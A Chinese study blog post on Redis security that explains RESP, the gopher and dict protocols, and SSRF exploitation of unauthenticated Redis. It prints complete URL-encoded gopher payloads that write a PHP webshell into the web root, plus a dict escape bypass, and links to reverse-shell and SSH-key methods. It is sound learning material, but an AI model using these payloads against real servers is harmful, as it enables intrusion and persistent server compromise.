Redis安全学习

一直在听SSRF打Redis,那Redis到底是啥,正式的认真学习一下。

1、Redis是什么

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

来源于:https://www.runoob.com/redis/redis-tutorial.html

Redis默认端口为6379

2、Redis的命令

连接命令

​ 本地连接:redis-cli(本地连接后,若存在密码使用AUTH pass进行验证)

​ 远程连接:redis-cli -h host -p port [-a passwd](参数a可选项,如果是没有密码的则不需要)

键操作

​ 设置键值对:set 键名 键值(例如:set atao xxx-->写入一个键名为atao、键值为xxx的内容,执行成功返回OK)

​ 取出键值对:get 键名(例如:get atao-->取出键名为atao的键的键值,返回键中的键值)

​ 删除键值对:del 键名(例如:del atao-->删除键名为atao的键,如果键被删除返回(integer)1,否则将输出(integer)0)

​ 清空所有数据库命令:flushall(删除所有数据库里面的所有数据,是所有数据库,不仅仅是当前数据库,且此命令永远不会出现失败)

​ 同步数据到磁盘上:save(以RDB文件的方式保存所有数据的快照,命令执行成功返回OK)

配置操作

​ Redis配置文件名为redis.conf(Windows下名为redis.windows.conf),可以使用CONFIG命令进行查看。

​ 设置配置文件:config set 配置项 路径(配置项如:dir或dbfilename,二者分别是指定本地数据库存放目录和指定本地数据库文件名,配置被正确设置时返回OK,否则将返回错误)

​ 更多配置项的内容,可以查看:https://www.runoob.com/redis/redis-conf.html

这里介绍的为自己常用的命令,更多命令查看:http://www.redis.cn/commands.html

3、学习SSRF打Redis的预备知识

Redis安装过程

​ 参考链接:https://www.cnblogs.com/hunanzp/p/12304622.html

​ 遇到的坑:使用redis-cli时,返回bash: redis-cli:未找到命令,解决方法:在redis文件夹下执行命令:sudo cp src/redis-cli /usr/local/bin/,将redis-cli添加至命令中。

​ 启动Redis:在目录/usr/local/redis下执行命令:sudo ./bin/redis-server ./redis.conf

捕捉Redis流量

​ 这里使用的是tcpdump抓取流量,(遇到了一个小坑,Kali上显示tcpdump为最新版,但是无命令,更新环境变量:export PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"后可以正常使用)抓取流量的命令为sudo tcpdump -i lo -s 0 port 6379 -w redis.pcap

Redis通信协议RESP

Redis客户端使用称为RESP(Redis序列化协议)的协议与Redis服务器进行通信。详细阅读:https://redis.io/topics/protocol

RESP在Redis中用作请求-响应协议的方式如下:

- 客户端将命令作为RESP大容量字符串数组发送到Redis服务器。
- 服务器根据命令实现以RESP类型之一进行回复。 在RESP中,某些数据的类型取决于第一个字节: - 对于简单字符串,答复的第一个字节为"+" ​ 格式:+字符串 ​ 注意:字符串不能包含CR或者LF(不允许换行) ​ eg:"+OK\r\n" - 对于错误,回复的第一个字节为"-" ​ 格式:-错误前缀 错误信息\r\n ​ 注意:错误信息不能包含CR或者LF(不允许换行),Errors与Simple Strings相似,不同的是Errors会被当作异常看待 ​ eg:"-Errors unknow command 'foobar'\r\n" - 对于整数,答复的第一个字节为":" ​ 格式::数字\r\n ​ eg:":10\r\n" - 对于批量字符串(大字符串类型Bulk Strings,长度限制512M),答复的第一个字节为"$" ​ 格式:$字符串的长度\r\n字符串\r\n ​ 注意:字符串不能包含CR或者LF(不允许换行) ​ eg:"$7\r\npayload\r\n" - 对于数组,回复的第一个字节为"*" ​ 格式:*数组元素个数\r\n其他类型(结尾不需要\r\n) ​ 注意:只有元素个数后面的\r\n是属于该数组的,结尾的\r\n一般是元素的 ​ eg:"*0\r\n"——空数组 ​ "*2\r\n$1\r\nA\r\n$3\r\ntao\r\n"——数组包含2个元素,分别为A和tao ​ "*-1\r\n"——Null数组 通过上面所述的几种类型构造命令传给redis服务端,则服务端会返回相应的内容。

Gopher协议

​ 万金油协议!!!

​ 语法格式:gopher://<host>:<port>/<gopher_path>_value(host为IP地址;port为指定端口,没写的话默认为70端口;"_"是一种数据连接格式,任意字符都行;value为TCP数据流)

​ 如果发起为POST请求,回车换行使用%0D%0A;如果多个参数,参数之间的&也需要进行URL编码。

GET请求
源码
<?php
$a = $_GET['a'];
echo "Hello!".$a;
?> 下面是我们要请求的TCP数据流
GET /flag.php?a=atao HTTP/1.1
Host: 192.168.159.131 转成url编码的格式(最后一句结尾也要%0d%0a,所以要加上)
%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a curl gopher://192.168.159.131:80/_%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a 返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:09:33 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html a
Hello!atao
0 POST请求
源码
<?php
$a = $_POST['a'];
echo "Hello!".$a;
?> 用原来的方式进行请求
GET /flag.php HTTP/1.1
Host: 192.168.159.131 a=atao
这样会报错,POST请求需要多加两个参数Content-Type和Content-Length 修改后为
POST /flag.php HTTP/1.1
Host: 192.168.159.131
Content-Type: application/x-www-form-urlencoded
Content-Length: 6 a=atao 转成url编码的格式(这次结尾不用加%0d%0a,因为最后是参数)
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f curl gopher://192.168.159.131:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f 返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:19:16 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html a
Hello!atao
0

Dict协议

​ 在SSRF中,主要是用来查看端口服务是否开启的,但是在Redis中如果无法使用Gopher协议,则可以通过该协议进行替代,不过该协议不能进行多行命令执行,所以当Redis存在验证时无法使用该协议。

​ 语法格式:dict:////<host>:<port>/<value>(host为IP地址;port为指定端口;value为请求内容)

使用命令
curl -g "dict://127.0.0.1:6397/set:atao:xxx" 返回
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK 抓包看到的
CLIENT libcurl 7.68.0
set atao xxx
QUIT 来自郁神的解释
第一行是代表发出的cli的工具和版本
第二行是执行我们请求的命令
第三行是自行退出
从这里我们就不难看出为啥dict不适合Redis认证的题目了,每次只能执行一条命令,执行完后还会退出,没有余力做别的操作
这里返回第一行报错了,应该是没有带参数而报错的

4、利用方式

​ Redis未授权访问漏洞,一般是和SSRF一起出现的。通过SSRF的漏洞来访问到Redis。

简单的写入WebShell

set atao '<?php phpinfo();?>' //写入php代码
config set dir /var/www/html //修改数据库备份的目录
config set dbfilename shell.php //修改数据库备份的文件名
save //备份

上面是Redis需要执行的命令,但是我们是和SSRF一起使用的,所以这里配合Gopher协议一起使用

通过抓包,Redis通信如下

RESP协议,下面是一个设置键值对和取键值对的操作
*3
$3
set
$5
atao1
$4
xxx1
+OK
*2
$3
get
$5
atao1
$4
xxx1 将上面的需要写入的内容通过RESP协议的格式进行更改
*3
$3
set
$4
atao
$18
<?php phpinfo();?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save 然后在用url编码的格式进行传输
%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a curl gopher://192.168.159.142:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a 返回
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
原因是Redis存在认证,如果没有认证的话使用上述方式即可,如果存在认证则需要先通过认证才可以进行操作 Redis认证命令为:AUTH password,修改成RESP协议格式如下(这里直接使用了自己Redis的密码,设置密码命令:config set requirepass password)
*2
$4
AUTH
$6
123456 curl gopher://192.168.159.142:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
不知道为啥改成这个后,远程连接就上不了了。呜呜呜,要是有知道的师傅求解释一下,后来就改成本地打本地了 curl gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a 返回
+OK 认证过
+OK 修改路径成功
+OK 修改文件名成功
+OK 写入键值对成功
+OK 保存成功 cat /var/www/html/shell.php
返回
REDIS0009� redis-ver5.0.7�
�edis-bits�@�ctime�m�_used-mem��
aof-preamble���atao<?php phpinfo();?>�v�a�Pw�a
虽然存在乱码,但是php的代码是正常的

​ 这类利用方式还有:写入SSH-KEYGEN公钥使用私钥登陆(https://www.mi1k7ea.com/2020/03/05/Redis安全小结/#写入SSH公钥直接登录)、反弹shell(https://joychou.org/web/phpssrf.html#directory0259675512790535476)

转义绕过?截断

​ 参考:https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ

​ 主要用于dict协议中,当dict协议要写入键值对,如:

dict://127.0.0.1:6379/set:atao:<?php phpinfo();?>

接收到的内容
CLIENT libcurl 7.68.0
set atao <
QUIT
可以看到?以及后面的内容都没了 这里通过对<?等特殊符号进行转义绕过
dict://127.0.0.1:6379/set:atao:\x3c\x3fphp\x20phpinfo0x28\x29\x3b\x3f\x3e

好用的工具

https://github.com/xmsec/redis-ssrf

参考连接

http://yulige.top/?p=775

https://joychou.org/web/phpssrf.html

https://www.mi1k7ea.com/2020/03/05/Redis安全小结/

未完待续

​ Redis还有很多利用的方式,比如:主从复制的内容,菜鸡还没学会,先不写了

本文作者:erR0Ratao

本文链接:https://www.cnblogs.com/erR0Ratao/p/13922232.html

Redis安全学习的更多相关文章

  1. memcache/redis 缓存学习笔记

    0.redis和memcache的区别 a.redis可以存储除了string之外的对象,如list,hash等 b.服务器宕机以后,redis会把内存的数据持久化到磁盘上,而memcache则不会 ...

  2. redis入门学习记录(二)

    继第一节 redis入门学习记录(一)之后,我们来学习redis的基本使用. 接下来我们看看/usr/local/redis/bin目录下的几个文件作用是什么? redis-benchmark:red ...

  3. 笔记-redis深入学习-1

    笔记-redis深入学习-1 redis的基本使用已经会了,但存储和读取只是数据库系统最基础的功能: 数据库系统还得为可靠实现这两者提供一系列保证: 数据.操作备份和恢复,主要是持久化: 高可用:主要 ...

  4. 反射实现Model修改前后的内容对比 【API调用】腾讯云短信 Windows操作系统下Redis服务安装图文详解 Redis入门学习

    反射实现Model修改前后的内容对比   在开发过程中,我们会遇到这样一个问题,编辑了一个对象之后,我们想要把这个对象修改了哪些内容保存下来,以便将来查看和追责. 首先我们要创建一个User类 1 p ...

  5. redis 高级学习和应用场景

    redis 高级学习 1.redis 复制 2.redis 集群 3.哨兵机制 4.spring 与哨兵结合 5.数据恢复与转移 6.redis 的阻塞分析 redis 实战 1. 数据缓存(热点数据 ...

  6. redis命令学习(二) · THIS SPACE

    列表(Lists)操作命令 Redis列表是简单的字符串列表,按照插入顺序排序. 你可以添加一个元素导列表的头部(左边)或者尾部(右边)LPUSH命令插入一个新的元素导头部,而RPUSH插入一个新元素 ...

  7. redis概要学习

    redis 概要学习 redis简介 Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库. Redis 与其他 key - value 缓存产品有以下三个特点: Re ...

  8. Redis in Action : Redis 实战学习笔记

    1 1 1 Redis in Action : Redis  实战学习笔记 1 http://redis.io/ https://github.com/antirez/redis https://ww ...

  9. Redis:学习笔记-04

    Redis:学习笔记-04 该部分内容,参考了 bilibili 上讲解 Redis 中,观看数最多的课程 Redis最新超详细版教程通俗易懂,来自 UP主 遇见狂神说 10. Redis主从复制 1 ...

随机推荐

  1. day71:drf:API接口&Restful API规范&Django Rest Framework&drf中的序列化和反序列化功能

    目录 1.web应用模式 2.API接口 3.Restful API规范 4.序列化 5.Django Rest Framework 1.drf的简单介绍 2.drf的特点 3.如何安装drf 4.d ...

  2. 【应用服务 App Service】NodeJS +Egg 发布到App Service时遇见 [ERR_SYSTEM_ERROR]: A system error occurred:uv_os_get_passwd returned ENOENT(no such file or directory)

    问题情形 本地NodeJS应用使用Egg脚手架构建,本地运行测试完全没有问题,发布后App Service后不能运行.通过登录到kudu后(https://<your web site>. ...

  3. C# 将DataTable里面的数据导出到excel

    //需要在bin里面添加 Interop.Microsoft.Office.Interop.Excel.dll 的引用 //添加引用 using System.Data; /// <summar ...

  4. 网络爬虫养成记(第一天)——安装Scrapy

    古人云:工欲善其事,必先利其器.在网络爬虫中,Scrapy无疑是一把利器,那么,今天我们来谈谈Scrapy的安装. 幸运的是,Scrapy已经支持Python3.4+了,也就是说,我们可以在pytho ...

  5. MVC联想查询绑定下拉框

    前言 在做搜索时,输入些内容时需要弹出下拉框给用户进行选择,极大的方便了用户,会给用户带来不一样的体验 Controller public ActionResult SSAC(string UserN ...

  6. Sentinel流控规则

    流控规则 注:Sentinel的监控页面一开始是没有东西,需要对监控的服务发起请求后才会出现 资源名:唯一名称,默认请求路径 针对来源:Sentinel可以针对调用者进行限流,填写微服务名,指定对哪个 ...

  7. SSM中 spring-mvc.xml 配置文件

    <!--扫描控制器包--><context:component-scan base-package="<!--控制器包所在路径-->">< ...

  8. wait/sleep的区别

    相同: 暂停线程,哪里停哪里开始 不同: wait      释放锁等待 sleep    不释放锁等待 wait .notfy. notfyAll 都是属于Object sleep 属于Thread

  9. JUC---09异步回调

    一.相关概念 Java的过程是阻塞的,因此要实现异步回调,需要多线程的支持.要实现回调,B函数在不知道A函数具体实现的情况下能够调用A函数,这是一种多态,需要接口来实现.下面实现一个简单的Java回调 ...

  10. Java学习的第五十天

    1.求长方体的体积要求类中用但参数的方法去求 public class Cjava { public static void main(String[]args) { Box b1=new Box(1 ...